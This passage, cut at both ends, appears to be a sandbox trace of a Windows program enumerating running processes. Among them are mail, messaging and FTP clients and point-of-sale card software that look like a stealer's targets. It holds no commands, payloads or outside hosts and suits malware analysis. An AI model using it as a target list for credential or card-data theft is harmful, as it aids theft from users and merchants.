(in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0254.858] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0254.862] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0254.866] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0254.870] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0254.874] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0254.879] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0254.882] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0254.886] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0254.890] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0254.894] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0254.898] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0254.902] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0254.904] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0254.907] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0254.909] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0254.913] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0254.915] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0254.919] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0254.922] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0254.924] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0254.926] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0254.929] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0254.932] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0254.935] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0254.938] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0254.940] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0254.943] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0254.986] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0254.988] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0254.990] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0254.993] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0254.995] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0254.997] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0255.001] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0255.003] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0255.006] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0255.008] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.009] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0255.011] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0255.014] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0255.016] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0255.018] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0255.021] CloseHandle (hObject=0x2200) returned 1 [0255.021] Sleep (dwMilliseconds=0x64) [0255.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0255.038] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.040] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.042] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.045] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.047] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.049] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.052] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.054] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.057] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.059] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.061] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.063] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.065] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.067] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.068] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.070] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.072] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.073] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.075] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.077] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.079] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0255.080] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.082] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.084] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0255.085] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0255.087] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0255.089] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0255.091] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0255.093] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0255.096] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0255.098] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.101] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.103] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0255.107] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.110] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.172] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0255.175] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0255.177] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0255.179] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0255.182] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0255.185] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 